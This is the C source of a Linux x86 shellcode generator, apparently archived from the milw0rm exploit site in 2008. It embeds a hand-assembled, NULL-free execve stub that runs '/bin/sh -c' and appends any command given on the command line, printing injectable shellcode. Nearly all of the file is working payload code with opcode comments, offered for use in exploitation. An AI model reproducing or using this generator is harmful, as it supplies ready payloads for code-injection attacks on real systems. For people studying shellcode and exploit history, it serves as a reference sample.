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/**
*
* BlackLight's shellcode generator for Linux x86
* Tested anywhere, working & NULL-free
*
* Usage: ./generator <cmd>
* ...and then you've got a ready2inject NULL-free shellcode for the command you like
*
* copyleft 2008 by BlackLight <blacklight[at]autistici.org>
* < http://blacklight.gotdns.org >
*
* Released under GPL v.3 licence
*
* Greetz to: evilsocket, for the idea he gave me ;)
* Greetz to: my friends, who tested, used and appreciated this code and helped
* me to improve it to what it is now
* Greetz to: my girl, next to me in any moment even if she had no idea
* about what I was doing ^^
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char code[] =
"\\x60" /*pusha*/
"\\x31\\xc0" /*xor %eax,%eax*/
"\\x31\\xd2" /*xor %edx,%edx*/
"\\xb0\\x0b" /*mov $0xb,%al*/
"\\x52" /*push %edx*/
"\\x68\\x6e\\x2f\\x73\\x68" /*push $0x68732f6e*/
"\\x68\\x2f\\x2f\\x62\\x69" /*push $0x69622f2f*/
"\\x89\\xe3" /*mov %esp,%ebx*/
"\\x52" /*push %edx*/
"\\x68\\x2d\\x63\\x63\\x63" /*push $0x6363632d*/
"\\x89\\xe1" /*mov %esp,%ecx*/
"\\x52" /*push %edx*/
"\\xeb\\x07" /*jmp 804839a <cmd>*/
"\\x51" /*push %ecx*/
"\\x53" /*push %ebx*/
"\\x89\\xe1" /*mov %esp,%ecx*/
"\\xcd\\x80" /*int $0x80*/
"\\x61" /*popa*/
"\\xe8\\xf4\\xff\\xff\\xff" /*call 8048393 <l1>*/;
int main (int argc, char **argv) {
int i,len=0;
char *shell,*cmd;
if (!argv[1])
exit(1);
for (i=1; i<argc; i++)
len += strlen(argv[i]);
len += argc;
cmd = (char*) malloc(len);
for (i=1; i<argc; i++) {
strcat (cmd,argv[i]);
strcat (cmd,"\x20");
}
cmd[strlen(cmd)-1]=0;
shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );
memcpy (shell,code,sizeof(code));
for (i=0; i<strlen(cmd); i++)
sprintf (shell,"%s\\x%.2x",shell,cmd[i]);
printf ("%s\n",shell);
}
// milw0rm.com [2008-08-19]
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